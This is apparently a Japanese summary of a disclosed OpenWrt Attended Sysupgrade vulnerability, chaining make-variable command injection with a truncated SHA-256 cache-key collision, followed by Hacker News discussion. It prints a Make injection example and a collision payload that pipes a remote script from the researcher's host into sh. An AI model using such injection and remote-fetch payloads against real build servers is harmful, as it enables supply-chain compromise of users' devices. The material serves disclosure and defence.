- OpenWrtのWebアップグレード機能 Attended Sysupgrade は、オンラインのビルドサーバーでファームウェアを生成する仕組みであり、コマンドインジェクションと切り詰められたSHA-256衝突が組み合わさると、正規のリクエストに対して誤ったビルド成果物が返される可能性があった
- リクエストの
packages 値が make manifest の PACKAGES= 変数に渡され、make の変数展開の特性により、攻撃者は イメージビルダーコンテナ内部 で任意のコマンドを実行できた
- パッケージ一覧のハッシュはSHA-256全体ではなく先頭 12文字、すなわち48ビットだけがキャッシュキーに反映されていたため、異なるパッケージ一覧でも同じリクエストハッシュを生成できた
- 研究者は改変したHashcatとRTX 4090で毎秒約 180億ハッシュ の速度を得て、衝突させたコマンドインジェクションペイロードでイメージビルダーの
.bin 成果物を上書きできることを検証した
- OpenWrtチームは非公開の脆弱性報告の後、
sysupgrade.openwrt.org を一時停止し、3時間以内 に修正版を配布したが、過去に悪用されていたかどうかは確認できなかった
Attended Sysupgradeのオンラインファームウェアビルド構造
- OpenWrtのLuCI Webインターフェースには
Attended Sysupgrade があり、この機能はオンラインサービスを使って新しいファームウェアをビルドする
- ビルドサービスは
sysupgrade.openwrt.org で動作し、ユーザーが対象デバイスと必要なパッケージを選ぶと、新しいファームウェアイメージを生成する
- アップグレード要求時に、ユーザー側のOpenWrtはサーバーへ次の情報を送る
- 対象アーキテクチャ
- デバイスプロファイル
- 選択したパッケージ
- サーバーはこの情報をもとにファームウェアイメージをビルドしてOpenWrtデバイスへ返し、デバイスは受け取ったイメージを書き込む
- ユーザー提供のパッケージでイメージをビルドするサーバーが十分に分離されていない場合、ビルド結果がそのままデバイスに適用される サプライチェーン攻撃面 になる
PACKAGES 値を通じたコマンドインジェクション
sysupgrade.openwrt.org サーバーはオープンソースプロジェクトで、ソースコードは openwrt/asu にある
- ビルド環境は
podman.containers.create で作成したコンテナ内で実行され、cap_drop=["all"], no_new_privileges=True, privileged=False といった設定を使っていた
- 脆弱性は
make manifest の呼び出し箇所で発生した
PROFILE={build_request.profile}
PACKAGES={' '.join(build_cmd_packages)}
STRIP_ABI=1
- OpenWrtイメージビルダーの
manifest ターゲットは、PACKAGES 値を USER_PACKAGES="$(PACKAGES)" の形で再度渡す
make はコマンド実行前に変数を展開するため、シングルクォートで囲ってもユーザー制御値は安全に処理されない
- 例として、Makefileで
make var="'; whoami #" を実行すると、echo '$(var)' の中でも whoami が実行される
- リクエストの
packages パラメータが PACKAGES 変数に入るため、攻撃者はパッケージ名に見える値へコマンドを埋め込み、イメージビルダーコンテナ内部 で任意のコマンドを実行できた
- コンテナがホストから分離されていても、生成されたバイナリは後続段階で秘密鍵により署名されるため、このコマンドインジェクションはサプライチェーン脆弱性へとつながった
12文字に切り詰められたSHA-256キャッシュキー
get_request_hash はビルド要求の複数フィールドを連結してリクエストハッシュを作成し、このハッシュはビルドキャッシュキーとして使われる
- パッケージ一覧は文字列そのものではなく、
get_packages_hash(build_request.packages) の結果が外側のリクエストハッシュに含まれる
get_packages_hash は重複パッケージを取り除いて並べ替えた後、空白で連結した文字列のSHA-256を計算するが、結果は先頭 12文字 に切り詰めて返していた
- SHA-256の12文字プレフィックスは48ビットで、可能な空間は
2^48 = 281,474,976,710,656 個である
- 外側のリクエストハッシュがこの切り詰められたパッケージハッシュを含むため、パッケージハッシュ衝突を作れば異なるパッケージ一覧でも同じキャッシュキーを共有する
- その結果、サーバーは別のパッケージ要求に対して 誤ったビルド成果物 を返し得た
Hashcatで衝突ペイロードを探索
- 部分一致SHA-256の総当たりツールが見つからなかったため、最初はOpenCLプログラムを自作したが、1億ハッシュの計算に10秒かかり、CPUのハッシュ速度と大差なかった
- その後、Hashcat を改変して8文字一致でもハッシュを出力するようにし、小さなスクリプトで12文字衝突かどうかを確認した
- 正規のパッケージ一覧は
firmware-selector.openwrt.org から取得し、そのSHA-256は 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb だった
- 先頭12文字は
8f7018b33d94
- 攻撃ペイロードも同じ12文字プレフィックスを持つ必要があった
- 当初は
`curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh` という形式のマスクをRTX 4090で実行し、約 毎秒5億ハッシュ の速度が出た
?l は a-z を生成するため、10文字空間は 26^10 = 141,167,095,653,376 個であり、これは 2^48 の約半分にあたる
- マスクを11文字に増やし、マスク位置をコマンドの前方に移すと速度が大幅に向上した
- 最終パターンは
`?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh`
- このパターンでHashcatは約 毎秒180億ハッシュ で計算した
- 1時間以内に次の12文字衝突が見つかった
`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`
- この文字列のSHA-256は
8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8 で、先頭12文字が正規のパッケージ一覧と同じだった
2つの脆弱性の組み合わせで誤ったファームウェアを返却
- 衝突ペイロードを
packages パラメータとして送るとコマンドインジェクションが発生し、tmp.ryotak.net からスクリプトが実行される
- 検証用スクリプトは
/builder/scripts/json_overview_image_info.py にコードを追記し、イメージビルダーが作成した成果物を上書きした
BIN_DIR のファイル一覧を読む
- 名前が
.bin で終わるファイルを見つけ、その内容に "test" を書き込む
- ハッシュ衝突のため、サーバーは正規のパッケージ一覧を要求したユーザーに対して、上書きされたビルド成果物を返した
- この手法が悪用されると、ユーザーは 悪性ファームウェア へアップグレードしてしまい、デバイス侵害につながる可能性がある
報告と修正
- 脆弱性はGitHubの 非公開脆弱性報告 を通じてOpenWrtチームへ伝えられた
- OpenWrtチームは問題を確認した後、
sysupgrade.openwrt.org サービスを一時停止して調査に入った
- 修正版は 3時間以内 にデプロイされ、サービスも再開された
- 2つの問題は修正されたが、脆弱性がしばらく存在していたため、すでに他者に悪用されていたかどうかは分からなかった
- OpenWrtチームは、ユーザーがデバイス侵害の有無を確認し検知できるよう、告知 を公開した
結論
sysupgrade.openwrt.org は、コマンドインジェクション と 切り詰められたSHA-256衝突 を組み合わせることで侵害可能だった
- 実際のアプリケーションでハッシュ衝突攻撃を総当たりで成功させ、サプライチェーン攻撃経路を作り出した事例である
- OpenWrtチームは短時間で問題を修正してユーザーに通知したが、オンラインビルドサービスではキャッシュキーと入力検証を極めて保守的に扱う必要がある
1件のコメント
Hacker News のコメント
記事で抜けている脆弱性は、特定のユーザーや特定のデバイス向けのコードを実行することが常態化している点だ。
再現可能性の検証もなく、このカスタムビルド・ダウンロードサービスがバックドア入りのビルドを作っていないか、誰にも確認する方法がない。
Andres Freund が使うような xz-utils ビルド、あるいは後でセキュリティ研究者が入手してオープンソースソフトウェアにサプライチェーンインプラントがあるか確認できるビルドを使うよう保証すべきだ[1]。
Mozilla がリリースビルドを Merkle ツリーに公開記録しようとして中止した試みを説明した記事が以前あった[2]。Google は Pixel ファームウェアビルドの実装を整理しているが、Google Play Store で配布されるアプリは脆弱に見える(自分が見つけられていない別のログがない限り)[3]。Apple はファームウェアとアプリ配布で個別デバイスごとのビルドをターゲットにしているうえ、ビルド透明性がないため、バイナリ透明性の面では Google よりさらに悪く見える。
良い例としては Gentoo の ebuild リポジトリがある。単一の Git リポジトリ/Merkle ツリーにソースのチェックサムを収めており、オープンソースソフトウェアの中でも最大級かつ広く分散した Merkle ツリーの一つであり続けている可能性がある。
[1] xz-utils のバックドア以降、一部の研究者は、オープンソースソフトウェアのビルド内に隠れた悪意あるコードを含み得る、説明のつかない高エントロピーのファイルを探すために、自動/半自動スキャンを行った。ユーザー別・デバイス別のカスタムビルドでは、すべてのビルドが後日の分析のために公開され、その公開ビルドに対する公開ログ(Merkle ツリー)があわせて提供されない限り、こうした作業は不可能だ。
[2] https://wiki.mozilla.org/Security/Binary_Transparency
[3] https://developers.google.com/android/binary_transparency/ov...
ビルドパイプラインに入る多くの要素は本質的に非決定的で、コンパイル時の判断が実行ごとに変わり得るからだ。フラグの問題を除いてもそうで、実際、最適化コンパイラの目的はそれに近い。多くの再現可能ビルドプロジェクトが発見してきたように、最適化を有効にすると再現可能性は事実上保証されない。
自分の知る限り、中央集権的なログはなく、アプリ開発者が自分の鍵や透明性ファイルのログを自ら公開することに任されている。
"".joinも危険ではないか?get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ...という形なら、隣接するフィールド間で文字を移動してもハッシュは同じになり得る。システムを直接乗っ取れなくても、壊れたイメージでキャッシュ汚染を起こしたり、ダウングレードを誘導したりできる。
修正: HMAC ではなくインクリメンタルハッシュと言うべきだった。
だからオープンソースは企業向けのクローズドソースには絶対に対抗できない。
パッチを6か月待たせず3時間で修正し、問題の報告者を訴えようともせず、「旧式」だが問題なく動く機器を捨てて新製品を買えとわずかな割引だけ提示することもしなかったのだから。
コマンドインジェクションも修正する予定であってほしい。記事で言っているように、生成されたイメージは署名されている。署名がなくても、信頼できないユーザー入力でコード実行ができてしまう問題だ。そして脆弱性は今回のハッシュ衝突の事例のように、互いに結び付くことがある。
交換はしてもらえるが同じモデルにすぎない。ISP はセキュリティをまったく気にしておらず、パッチも当てない。ルーターへの独占的なアクセス権を持ち、リモートログインまで可能なのに、まったく筋が通らない。
ほとんどのオープンソースプロジェクトでは、メンテナーが過労すぎるか、単にセキュリティ問題を直したがらないことが多い。
第一に、これは本来そういう用途のために作られたツールではなかったにもかかわらずオープンソースで、BuilderFactoryProvider なしで書かれていたため、短時間で作業に合わせて調整された事例だ。
すでに言われている話で申し訳ないが、毎日これが本当につらい。
大企業なら修正におそらく -1年かかっただろう。単にその人を訴えてできるだけ早く逮捕しようとし、パッチは絶対に出さなかっただろうからだ。
OpenWrt は情報を受け取った後、安全でないサービスを停止し、ユーザーはすでにシャットダウンのおかげで安全な状態で報告を検証し、その後パッチを作成して3時間で配布した。すばらしい。
ハッシュを切り詰めて使うという発想を、人々がどう思いつくのか気になる。目的やメリットは何だろう?
良い慣行ではないと思うが、人々は現実的に妥協する
[2] の @Reid の回答と [3] の @ThomasPornin の回答によれば、ハッシュを切り詰めるという発想は NIST でも完全にサポートされている。実際、SHA-224 は SHA-256 を切り詰めたもので、SHA-384 は SHA-512 を切り詰めたもの
https://security.stackexchange.com/a/97389
記事は良かった。こんなに短い衝突を見つけるのにその程度のGPU 計算量が必要だったという点は少し驚いたが、実装を見るのは良かった
最後のセクションに関連して、セキュリティ分析に月4万ドルというのは妥当な価格なのだろうか? だとすると、優秀なセキュリティ研究者は年50万ドルほど稼ぐということなのか?
nmap/metasploitスキャンを走らせて、それらしい PDF に包んでいた2^(12*4)は、可能な12文字の文字列が 281,474,976,710,656 個あるという意味なので、それだけを1時間以内に総当たりできるというのは本当に印象的hashcatの性能が引数の順序によって数桁も変わるというのはどういう話だろう? 実行するたびに引数行からターゲットパターンをスキャンしているのか?あるいは数字を数えるときのように
100000000000010000000000110000000000001000000000変動の大半が左側で起き、右側の変化はまれにしか見えない構造なのかもしれない。hashcat を知っている人が答えてくれたら興味深い。私はただ推測を投げているだけ
攻撃の過程がとてもよく書かれていて、追いやすかった